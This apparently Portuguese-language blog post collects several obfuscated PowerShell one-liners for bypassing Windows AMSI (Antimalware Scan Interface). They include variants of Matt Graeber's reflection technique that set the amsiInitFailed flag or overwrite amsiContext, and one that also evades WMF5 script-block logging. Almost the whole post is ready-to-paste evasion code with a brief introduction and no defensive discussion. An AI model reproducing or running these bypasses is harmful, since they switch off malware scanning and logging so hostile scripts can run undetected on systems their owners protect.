Posts AMSI Bypass
Post
Cancel

AMSI Bypass

AMSI Bypass

Essas referências foram coletadas de alguns lugares mas em sua maioria, elas vieram deste site que também pode ser encontrado no post de links úteis. Observe na lista abaixo que variamos entre alguns métodos diferentes, mas pequenas alterações são feitas mesmo quando um método se repete.

Clássico

1
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Matt Graebers second Reflection method


1
2

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.'+$([Char](85-20)+[ChAR](8720/80)+[chaR](8+107)+[CHaR](945/9))+'Utils').GetField(''+$([chaR](8+89)+[char](195-86)+[chAR](195-80)+[CHar](74+31))+'Context',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x1F56CC91);

Matt Graebers Reflection method


1
[Ref].Assembly.GetType('System.Management.Automation.'+$([chAr]([ByTE]0x41)+[ChaR](5014/46)+[chAR](51+64)+[char](139-34))+'Utils').GetField(''+$([cHaR](63+34)+[char](60+49)+[CHaR](73+42)+[cHar](735/7))+'InitFailed','NonPublic,Static').SetValue($null,$true);

Matt Graebers Reflection method with WMF5 autologging bypass


1
2

[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.BindingFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.Type')), [Object]([Ref].Assembly.GetType('System.Management.Automation.'+$([chaR](3+62)+[CHaR](2507/23)+[cHaR](6+109)+[chAr](169-64))+'Utils')),('GetField')).Invoke(''+$([ChAR](1358/14)+[CHaR]([BYTe]0x6D)+[ChAR](4715/41)+[ChAr](4935/47))+'InitFailed',(('NonPublic,Static') -as [String].Assembly.GetType('System.Reflection.BindingFlags'))).SetValue($null,$True);
1
2
#Matt Graebers Reflection method with WMF5 autologging bypass 
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.BindingFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.Type')), [Object]([Ref].Assembly.GetType('System.Management.Automation.'+$([cHaR](89-24)+[CHAr](180-71)+[cHar](9660/84)+[ChAR](6+99))+'Utils')),('GetField')).Invoke(''+$([chAr]([BYTE]0x61)+[CHaR](145-36)+[char]([byTe]0x73)+[char](5880/56))+'InitFailed',(('NonPublic,Static') -as [String].Assembly.GetType('System.Reflection.BindingFlags'))).SetValue($null,$True);
This post is licensed under CC BY 4.0 by the author.